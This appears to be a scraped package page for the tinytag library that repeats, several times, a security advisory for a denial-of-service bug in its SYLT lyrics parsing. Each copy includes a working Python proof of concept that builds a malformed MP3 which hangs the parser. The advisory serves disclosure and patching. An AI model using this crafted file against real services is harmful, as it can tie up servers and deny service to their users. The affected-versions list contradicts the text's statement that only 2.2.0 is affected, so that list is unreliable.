Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 26, 2023

1.10.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 18, 2023

1.9.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 21, 2023

1.8.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 12, 2022

1.8.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 05, 2022

1.7.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 14, 2021

1.6.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

